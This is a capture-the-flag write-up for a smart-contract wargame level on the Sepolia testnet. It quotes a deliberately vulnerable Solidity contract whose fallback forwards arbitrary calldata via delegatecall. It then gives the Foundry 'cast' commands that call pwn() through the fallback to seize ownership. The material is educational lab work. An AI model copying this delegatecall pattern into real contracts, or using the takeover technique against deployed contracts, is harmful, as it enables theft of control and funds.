The goal of this level is for you to claim ownership of the instance you are given.

This is the contract’s code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

First, we need to get an instance for the challenge:

  1. After connecting our Metamask wallet, click on “Get New Instance”:

    alt text

  2. After approving the transaction, the contract address will be shown in the browser’s javascript console:

    alt text

I had no idea of what that delegatecall function was and what it implied. I found this great post that explains call and delegatecall, and talks about potential security issues arising from using it.

We are given the address of the Delegation contract, and we need to change its owner variable. The function delegatecall takes the code to be executed from another contract, but the caller contract executes it, changing its own state variables. So we need to make the contract call the pwn() function on the delegate contract.

Note that the fallback function calls the delegatecall function, passing msg.data as the argument, so we completely control that. We can execute this to get the signature of the pwn() function:

cast sig "pwn()"

alt text

And now, we trigger the fallback function passsing that signature as the data:

cast send 0x8707907c6b236F23A4A7ee8C417b7968F0Ae1041 0xdd365b8b --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

alt text

And if we check the contract’s storage at the slot 0 (owner), we will see our address:

cast storage 0x8707907c6b236F23A4A7ee8C417b7968F0Ae1041 0 --rpc-url $SEPOLIA_RPC_URL

alt text

alt text